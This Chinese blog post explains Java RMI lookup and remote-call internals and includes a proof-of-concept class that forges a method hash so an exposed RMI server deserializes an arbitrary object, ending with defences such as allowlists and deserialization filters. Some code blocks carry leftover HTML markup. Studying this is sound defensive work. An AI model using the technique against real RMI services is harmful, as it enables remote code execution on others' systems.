RMI Remote Object反序列化攻击
RMI概览
本地的ava程序 调用 远程Java程序 的类和方法,在调用过程中类对象会进行传递,远程Java服务执行完毕后将结果返回。整个过程给程序员的感觉就像在本地调用一样。这就是RMI (Remote Method Invocation)。
更多详细的可参考这篇文章。本节仅粗浅介绍RMI。
Demo:
Server端代码包含三个部分:
- Registry类,用于开放RMI查询端口。其功能是为所有注册的服务类提供路由
- 远程对象类(Remote Object),用于提供RMI远程对象,被客户端所使用的类
- 远程对象的接口,所有服务类都需要实现各自的远程对象类接口。
远程对象接口 MyService
public interface MyService extends Remote { //接口需要继承Remote
public String printHello(String hello) throws RemoteException;
}
远程对象类 MyServiceImpl
//继承UnicastRemoteObject并且实现其接口MyService
public class MyServiceImpl extends UnicastRemoteObject implements MyService {
//远程对象类的所有方法都需要抛出RemoteException
public MyServiceImpl() throws RemoteException {
}
<span class="hljs-meta" style="box-sizing: border-box; color: rgb(43, 145, 175);">@Override</span>
<span class="hljs-function" style="box-sizing: border-box;"><span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">public</span> String <span class="hljs-title" style="box-sizing: border-box; color: rgb(163, 21, 21);">printHello</span><span class="hljs-params" style="box-sizing: border-box;">(String hello)</span> <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">throws</span> RemoteException </span>{
System.out.println(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"[Server] "</span> + hello);
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">return</span> hello;
}
}
Registry类 RmiServer
public class RmiServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
MyService myService = new MyServiceImpl();
registry.bind("myService", myService);
}
}
Client端代码包含两个部分:
- 远程对象类的接口,需要从Server端复制一份。以便和Server端统一,以此保证本地调用时不会报"找不到类"的错误。
- 调用类,根据本地的远程对象类接口调用Server端的远程对象类。
远程对象类接口 MyService
//该接口需要从Server端取得
//正常的RMI程序都会在Server端和Client放置远程对象类接口的
public interface MyService extends Remote {
public String printHello(String hello) throws RemoteException;
}
调用类 App
public class App
{
public static void main( String[] args ) throws Exception
{
MyService lookup = (MyService) Naming.lookup("rmi://127.0.0.1:1099/myService");
String helloWorld = lookup.printHello("helloWorld");
System.out.printf("[Client] " + helloWorld);
}
}
运行时先运行Server端的RmiServer,然后再运行Client端的App,将会得到如下结果:
下面简单梳理下RMI之间通信的流程。
RMI流程梳理
官方文档有对RMI流程进行简单的说明,并且给出了流程的三个主要步骤:
- "路由远程对象(Locate remote objects)"
- "远程对象通信(Communicate with remote objects)"
- "类加载及传输(Load class definitions for objects that are passed around)"
下面跟进RMI代码看看整个流程是什么样的,代码依然用前文的作Demo。
调试的JDK版本: 11.0.3
路由远程对象
Server端RmiServer代码中,LocateRegistry.createRegistry(1099)会开启一个监听端口为1099的rmiregistry作为remote object的路由。
而registry.bind("myService", myService);会创建一个监听端口随机的remote object,并将这个remtoe object注册到rmiregistry中。
public class RmiServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
MyService myService = new MyServiceImpl();
registry.bind("myService", myService);
}
}
在Client端调用了Naming.lookup()后,将会在sun.rmi.registry.RegistryImpl_Stub.lookup()发起一次对rmiregistry的RMI请求,目的是查询指定remote object的地址。
public Remote lookup(String \(param_String_1){ //构建请求参数 RemoteCall call = ref.newCall((RemoteObject) this, operations, 2, interfaceHash); ObjectOutput out = call.getOutputStream(); out.writeObject(\)param_String_1);
//发起RMI请求
ref.invoke(call);
.....
}
而Server端会在 sun.rmi.server.UnicastServerRef.dispatch()接收RMI请求,并发配给sun.rmi.registry.RegistryImpl_Skel.dispatch()处理
UnicastServerRef
public void dispatch(Remote obj, RemoteCall call) {
in = call.getInputStream();
num = in.readInt();
if (skel != null) {
// If there is a skeleton, use it
oldDispatch(obj, call, num);
return;
}
......
}
private void oldDispatch(Remote obj, RemoteCall call, int op){
in = call.getInputStream();
.....
skel.dispatch(obj, call, op, hash);
}
RegistryImpl_Skel会根据remote object的名字,查询对应的remote object。
RegistryImpl_Skel
public void dispatch(Remote obj, RemoteCall call, int opnum, long hash){
switch (opnum) {
.....
case 2: // lookup(String)
{
//获取remote object名字
ObjectInput in = call.getInputStream();
\(param_String_1 = (String) in.readObject(); //查询是否有注册该remote object Remote \)result = server.lookup(\(param_String_1); //若存在,写入RemoteCall中由上级调用返回 ObjectOutput out = call.getResultStream(true); //封装remote object信息 out.writeObject(\)result);
break;
}
.....
}
}
查询到remote object后,会调用out.writeObject(\(result);封装 remote object,该方法会在java.io.ObjectOutputStream.writeObject0()将remote object通过Stub进行对象代理。最后写入到序列化流的是被对象代理过的remote object
private void writeObject0(Object obj, boolean unshared){ if (enableReplace) { //对象代理 Object rep = replaceObject(obj); if (rep != obj && rep != null) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true); } obj = rep; } ...... } Client端将在sun.rmi.registry.RegistryImpl_Stub.lookup()将回传信息转换成Remote类型。此时路由远程对象基本结束。
public Remote lookup(String \)param_String_1){
.....
//发送RMI请求
ref.invoke(call);
//获取Server端回传信息
java.io.ObjectInput in = call.getInputStream();
\(result = (Remote) in.readObject(); ref.done(call); return \)result;
}
远程对象通信&类加载及传输
Client端在通过lookup()得到远程对象的信息后,实际上拿到的是一个Proxy代理对象。调用代理对象的任意方法都会触发其InvocationHandler的invoke()方法。所以Client端的第二行代码实际上是调用了java.rmi.server.RemoteObjectInvocationHandler.invoke()
MyService lookup = (MyService) Naming.lookup("rmi://127.0.0.1:1099/myService");
String helloWorld = lookup.printHello("helloWorld");
RemoteObjectInvocationHandler.invoke()最终会调用sun.rmi.server.UnicastRef.invoke(),Client端在这里构建调用远程方法所需要的参数:
UnicastRef
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum){
Connection conn = ref.getChannel().newConnection();
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//将`-1`和`opnum`的值写入StreamRemoteCall</span>
call = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> StreamRemoteCall(conn, ref.getObjID(), -<span class="hljs-number" style="box-sizing: border-box;">1</span>, opnum);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//根据调用方法的参数个数和类型</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//将传递的形参序列化写入StreamRemoteCall</span>
ObjectOutput out = call.getOutputStream();
Class<?>[] types = method.getParameterTypes();
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">for</span> (<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">int</span> i = <span class="hljs-number" style="box-sizing: border-box;">0</span>; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//发送RMI请求</span>
call.executeCall();
.....
}
其中invoke()的四个形参都各自具有意义:
Remote obj: 路由远程对象时Server端返回的经Proxy封装过的Remote对象Method method: 调用方法的Method对象。由于Client端也有远程对象的接口拷贝,所以可以通过反射获取对应方法的Method对象Object[] params: 传递给调用方法的形参,该值将会在Server端被反序列化long opnum: 调用方法的"Hash值",该值通过RemoteObjectInvocationHandler.getMethodHash()计算,用于确保双方方法是一致的。
Server端在sun.rmi.server.UnicastServerRef.dispatch()对Client的请求进行处理:
UnicastServerRef
public void dispatch(Remote obj, RemoteCall call) {
in = call.getInputStream();
num = in.readInt();
//执行lookup时请求skel获得Remote Object的真实地址
//在远程对象通信阶段,skel为空
if (skel != null) {
oldDispatch(obj, call, num);
return;
}
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//读取方法Hash值,Client调用的方法需要和Server端匹配才会允许调用</span>
op = in.readLong();
MarshalInputStream marshalStream = (MarshalInputStream) in;
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//RMI在注册时就将Method存入一个HashMap中,方法Hash作键</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//Server直接用Client传来的方法Hash拿到对应的Method</span>
Method method = hashToMethod_Map.get(op);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//获取调用方法的形参</span>
Class<?>[] types = method.getParameterTypes();
Object[] params = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> Object[types.length];
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//设置反序列化filter</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//但在远程对象通信阶段,filter为null,并不会设置反序列化filter</span>
unmarshalCustomCallData(in);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//若调用方法有形参,对`in`执行反序列化,存入`params`中</span>
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">for</span> (<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">int</span> i = <span class="hljs-number" style="box-sizing: border-box;">0</span>; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//调用对应的方法,并将返回值存在`result`中</span>
result = method.invoke(obj, params);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//把`result`写入`call`的序列化流中</span>
ObjectOutput out = call.getResultStream(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
Class<?> rtype = method.getReturnType();
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">if</span> (rtype != <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">void</span>.class) {
marshalValue(rtype, result, out);
}
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//利用`call`将数据发送给Client端</span>
call.releaseInputStream();
call.releaseOutputStream();
}
Client端接收返回值后也将会返回值return回调用端
UnicastRef
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum){
.....
//发送RMI请求
call.executeCall();
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//接受Server端返回数据</span>
Class<?> rtype = method.getReturnType();
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">if</span> (rtype == <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">void</span>.class)
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">return</span> <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">null</span>;
ObjectInput in = call.getInputStream();
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//反序列化返回值</span>
Object returnValue = unmarshalValue(rtype, in);
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">return</span> returnValue;
}
至此一个基本的RMI调用流程就是这样,我们需要先对RMI的流程有所了解之后,才方便后续漏洞的理解。
攻击一个暴露的 RMI Registry 端口的方式,最常见的是在 远程对象通信 利用RMI处理远程对象时打反序列化。其次还有利用JDK低版本在 服务查询阶段 的缺陷打反序列化的,这部分 这篇文章 讲的挺清楚了,本文不再赘述。
RMI处理远程对象时打反序列化
调试的JDK版本: 11.0.3
攻击方式:
看完前文的流程,不难发现Server端在 远程对象通信 时,会反序列化Client端发送的方法参数,而且没有限制。我们是否能控制发送的方法参数呢?根据前文分析Client端发起 远程对象通信 的代码可发现,主要是靠 UnicastRef#invoke()发起请求的。我们尝试手工调用这个方法:
TestPoc
package org.example;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import sun.rmi.server.UnicastRef;
public class TestPoc
{
public static void main( String[] args ) throws Exception
{
//路由远程对象,拿到Server端返回的Remote
MyService lookup = (MyService)Naming.lookup("rmi://127.0.0.1:1099/myService");
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//由于`UnicastRef#invoke()`需要四个形参,其类型分别为</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//Remote 可以直接用`lookup`</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//Method 反射接口,拿到调用方法的Method对象即可</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//Object[] 调用方法的参数,也就是让Server端反序列化的payload</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//long 调用方法的Hash,需要手工调用`RemoteObjectInvocationHandler#getMethodHash()`获得</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//第一步,获取UnicastRef,利用已有的UnicastRef实例调用invoke()方法</span>
Class<Proxy> proxyClass = Proxy.class;
Field h = proxyClass.getDeclaredField(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"h"</span>);
h.setAccessible(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
InvocationHandler invocationHandler = (InvocationHandler) h.get(lookup);
Class remoteObjectClass = RemoteObject.class;
Field ref = remoteObjectClass.getDeclaredField(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"ref"</span>);
ref.setAccessible(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
UnicastRef unicastRef = (UnicastRef)ref.get(invocationHandler);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//第二步,拿到调用方法的Method对象</span>
Class myServiceClass = MyService.class;
Method printHello = myServiceClass.getMethod(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"printHello"</span>, String.class);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//第三步,拿到调用方法的Hash</span>
Class remoteObjectInvocationHandlerClass = RemoteObjectInvocationHandler.class;
RemoteObjectInvocationHandler remoteObjectInvocationHandler = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> RemoteObjectInvocationHandler(unicastRef);
Method getMethodHash = remoteObjectInvocationHandlerClass.getDeclaredMethod(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"getMethodHash"</span>, Method.class);
getMethodHash.setAccessible(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">long</span> methodHash = (<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">long</span>) getMethodHash.invoke(remoteObjectInvocationHandler, printHello);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//第四步,构造Payload,这里作为演示仅构造一个HashMap</span>
HashMap payload = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> HashMap<>();
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//最终手工调用`UnicastRef#invoke()`</span>
unicastRef.invoke(lookup, printHello, <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> Object[]{payload}, methodHash);
}
}
其中lookup是一个代理对象,其结构如下:
手工调用 UnicastRef#invoke()的好处是:不需要理会实际调用接口方法的形参类型,因为检测类型一致是根据方法Hash判断的,方法Hash可伪造,所以哪怕类型不符也能让Server端反序列化payload。
实际测试打Server端,形参类型是String,但确实能顺利反序列化HashMap。
现成利用工具
当然这种方式已经有人做成工具了,工具名rmiscout。readMe中也有说明用法,下面简单使用下:
利用范围和防御
由于方法参数类型多种,所以默认RMI Registry的反序列化Filter是不会起作用的。换言之只要是默认的RMI配置,暴露的RMI端口并且有一个方法形参类型是对象,就一定能利用成功。
那该如何防御呢?简单来说有这几种方法:
- 方法的形参能不传对象就不传对象
- 为RMI设置鉴权,仅让可信的主机连接,甚至使用SSL,具体可参考文章
简单来说就是设置一个java.security.policy,里面通过java.net.SocketPermission设置IP白名单
只有白名单内的主机才能正常访问
其他地址请求将会被拒绝
- 设置反序列化白/黑名单,具体可参考 文章
简单来说就是设置一个jdk.serialFilter
Reference
Remote Method Invocation (RMI)
浅谈Java RMI Registry安全问题
java远程代码注入_Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )
Sample Code Illustrating a Secure RMI Connection
Serialization Filtering
- 发表于 2021-08-31 18:26:41
- 阅读 ( 749 )
- 分类:漏洞分析









